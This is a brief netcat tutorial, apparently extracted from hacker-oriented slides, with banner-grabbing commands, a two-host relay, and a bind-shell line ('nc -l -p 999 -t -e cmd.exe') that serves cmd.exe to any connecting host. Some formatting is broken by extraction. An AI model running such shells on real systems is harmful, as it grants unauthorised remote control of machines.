Netcat Hacker Manual: A Handy Pocket Guide For Your Cat
Netcat Hacker Manual: A Handy Pocket Guide For Your Cat
 [Extracted from
http://www.atstake.com/research/tools/ ] Netcat
has been dubbed the network swiss army knife.
 It is a simple Unix utility which reads and writes
data across network connections, using TCP or
UDP protocol.
 It is designed to be a reliable "back-end" tool
that can be used directly or easily driven by
other programs and scripts.
 nc –vvn hostIP 80
 nc –vvn hostIP 8080
 Once connected type HEAD / HTTP/1.0 [Hit enter twice]
 nc -v www.website.com 80 < get.txt
Ö Checking WEB Header.
Ö Your get.txt file will contain:
y GET / HTTP/1.0
y [Carriage] (JUST HIT ENTER IN YOUR TEXT EDITOR)
y [Carriage]
y In perl you can use print $socket "GET / HTTP/1.0\n\n";
1. Computer A IP 10.10.10.1
2. Computer B IP 10.10.10.2
3. Open 1 DOS windows on computer A
4. Open 2 DOS windows on computer B
5. Type this in The DOS windows on A "nc -v -L -p 666 -e
"nc10.10.10.2 666“
6. Type this in The First DOS windows on B "nc -v -L -p
666“
7. Type this in The Second DOS windows on B "nc -v
10.10.10.1 666“
8. Now Type Stuff in Second DOS windows on B and you
should see them on the first DOS windows on B
Created by Adonis a.K.a. NtWaK0
Created by Adonis a.K.a. NtWaK0
Scanning with Netcat
 Run netcat
Ö nc-l -p 999 -t -e cmd.exe
Created by Adonis a.K.a. NtWaK0
Created by Adonis a.K.a. NtWaK0
Netcat & UNIX